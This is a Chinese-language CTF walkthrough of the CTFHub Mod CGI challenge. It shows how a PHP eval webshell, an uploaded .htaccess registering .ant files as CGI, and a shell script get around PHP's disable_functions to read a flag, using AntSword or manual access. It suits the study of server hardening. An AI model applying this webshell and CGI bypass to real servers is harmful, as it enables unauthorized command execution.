完整教程:CTFHub Web进阶-PHP:Bypass_disable_function3之通关Mod CGI
目录
本文详细讲解CTFHub的Web进阶中disable-functions的Mod CGI关卡的原理与渗透全流程。核心原理是利用Apache的mod_cgi模块,通过上传.htaccess文件和CGI脚本绕过PHP的disable_functions限制。实战演示了使用蚁剑的BypassDisableFunctions插件自动完成绕过过程:上传.htaccess文件将.ant扩展名注册为CGI脚本,并执行包含系统命令的shell.ant文件。最终通过访问CGI脚本成功获取flag。文章提供了两种获取flag的方法:直接使用蚁剑虚拟终端和手动访问后门文件,完整展示了渗透测试流程与技术细节。
一、Apache Mod CGI
1、Apache Mod CGI 绕过核心原理
核心在于利用Apache的mod_cgi模块,将特定扩展名的文件当作CGI脚本执行。
mod_cgi模块与CGI脚本:mod_cgi是Apache的一个模块,允许服务器执行CGI(通用网关接口)脚本。CGI是一种标准,定义了Web服务器与外部程序交互的方式。在Apache配置中,可以设定某些特定扩展名的文件(如.cgi、.sh,甚至自定义扩展名)被mod_cgi处理,即当请求这些文件时,Apache会执行它们而不是直接返回其内容。绕过
disable_functions的思路:PHP的disable_functions配置只能限制PHP函数的调用。如果我们能通过Web服务器(Apache)的机制,直接执行一个系统 shell 脚本或二进制文件,那么这些PHP的限制自然就被绕过了。利用条件:要成功利用此方法,通常需要满足几个条件:
目标服务器是Apache。
mod_cgi模块已启用。Apache配置中允许使用
.htaccess文件(即AllowOverride选项不为None),并且我们有权限写入.htaccess文件。对网站目录有写权限,以便上传
.htaccess文件和我们的CGI脚本。
利用链条:
我们首先上传一个自定义的
.htaccess文件,通过其中的AddHandler或SetHandler指令,指定某个扩展名(例如.ares)的文件由mod_cgi处理。然后,我们上传一个具有该特定扩展名的Shell脚本(例如
shell.ares),并确保其具有可执行权限(在某些配置下可能需要)。当我们通过Web访问这个CGI脚本时,Apache会执行它,脚本中的系统命令(例如读取flag或反弹Shell)就会执行。
简单来说,整个过程就是:利用.htaccess文件改变Apache对特定文件的处理方式,使其作为CGI脚本执行,从而绕过PHP的disable_functions限制。
2、使用蚁剑进行 Apache Mod CGI 绕过
蚁剑(AntSword) 的Bypass Disable Functions插件简化了上述过程。以下是具体步骤:
连接Webshell:使用蚁剑成功连接到目标网站的Webshell。
使用 Bypass Disable Functions 插件:
在蚁剑中,对连接的Shell点击右键,选择 "Bypass Disable Functions"。
在选择模式时,找到并选择
Apache_Mod_CGI(或类似名称的选项)。点击"开始"按钮执行。插件会自动完成以下工作:
在网站目录下上传一个特殊的
.htaccess文件,内容通常类似:Options +ExecCGI AddHandler cgi-script .ant这表示启用CGI执行,并将自定义扩展名为ant的文件当作CGI脚本处理。
上传一个CGI脚本文件(使用上述自定义扩展名),该脚本通常是一个Shell脚本(如Linux下为Bash脚本),其内容会包含执行系统命令的逻辑,例如:
#!/bin/sh echo&&cd "/var/www/html/backdoor";tac /flag;echo 73cd8;pwd;echo 16c2a102346插件可能会尝试为上传的CGI脚本设置可执行权限(取决于环境)。
最终,插件会通过访问这个CGI脚本并返回结果,来验证绕过是否成功。
访问脚本文件即可执行读取flag的命令(例如
tac /flag),从而成功获取flag。
二、渗透实战
1、打开靶场
http://challenge-0e3db6d50957df77.sandbox.ctfhub.com:10800/

2、源码分析
点击GetFlag进入到如下页面,源码是的主要功能是一句话木马,通过eval($_REQUEST['ant'])直接执行用户输入的PHP代码,提供了完整的远程代码执行能力。
http://challenge-0e3db6d50957df77.sandbox.ctfhub.com:10800/backdoor/

<?php @eval($_REQUEST['ant']); show_source(__FILE__); ?> |
很明显php代码是一个高危的Webshell后门,允许攻击者通过ant参数远程执行任意PHP代码,完全控制Web服务器,可进行文件操作、命令执行、数据库访问等恶意行为,严重威胁服务器安全。
@操作符:抑制错误显示,增强隐蔽性$_REQUEST['ant']:接收GET或POST参数中的ant参数eval():将字符串作为PHP代码执行,构成任意代码执行安全风险
3、蚁剑直接连接
http://challenge-0e3db6d50957df77.sandbox.ctfhub.com:10800/backdoor/ 密码ant。


4、虚拟终端
通过“选中木马的会话-右键-虚拟终端”进入在木马的虚拟终端窗口,如下所示。

如下所示,命令执行失败。

5、方法1:蚁剑工具-disable function
(1)disable function插件
我们通过蚁剑工具的disable function插件绕过服务器的限制,具体操作步骤如下所示。


点击开始执行,如下所示弹出新的虚拟终端。

(2)查看flag
在新木马的虚拟终端中输入ls /、cat /readflag和tac /flag命令成功获取到flag,如下所示。
ls /
cat /readflag
tac /flag

6、方法2:手动访问后门
执行Apache Mod CGI后,变化如下,其中.htaccess文件和shell.ant文件构成了一个利用Apache CGI执行系统命令的后门。

(1)htaccess文件
.htaccess文件
Options +ExecCGI AddHandler cgi-script .ant |
Options +ExecCGI启用CGI执行功能AddHandler cgi-script .ant将.ant扩展名文件当作CGI脚本处理

(2)shell.ant文件
shell.ant内容如下所示
#!/bin/sh echo&&cd "/var/www/html/backdoor";tac /flag;echo 73cd8;pwd;echo 16c2a102346 |
对shell.ant脚本进行详细 注释,具体如下所示。
#!/bin/sh
# 指定使用 /bin/sh (Bourne shell) 作为解释器
echo
# 输出一个空行(用于格式化输出)
cd "/var/www/html/backdoor"
# 切换到 /var/www/html/backdoor 目录
tac /flag
# 反向显示 /flag 文件的内容(与 cat 相反,从最后一行开始显示)
echo 73cd8
# 输出字符串 "73cd8"(可能是标识符或标记)
pwd
# 显示当前工作目录的完整路径
echo 16c2a102346
# 输出字符串 "16c2a102346"(可能是另一个标识符或标记)
脚本执行后将依次输出:
一个空行
/flag文件的反向内容字符串 "73cd8"
当前目录路径(应该是
/var/www/html/backdoor)字符串 "16c2a102346"

(3)获取flag
http://challenge-0e3db6d50957df77.sandbox.ctfhub.com:10800/backdoor/shell.ant
- 切换到/var/www/html/backdoor目录
- 用tac命令反向显示/flag文件内容
- 输出字符串"73cd8"和"16c2a102346"(可能是标识符或密码)
- 显示当前工作目录


浙公网安备 33010602011771号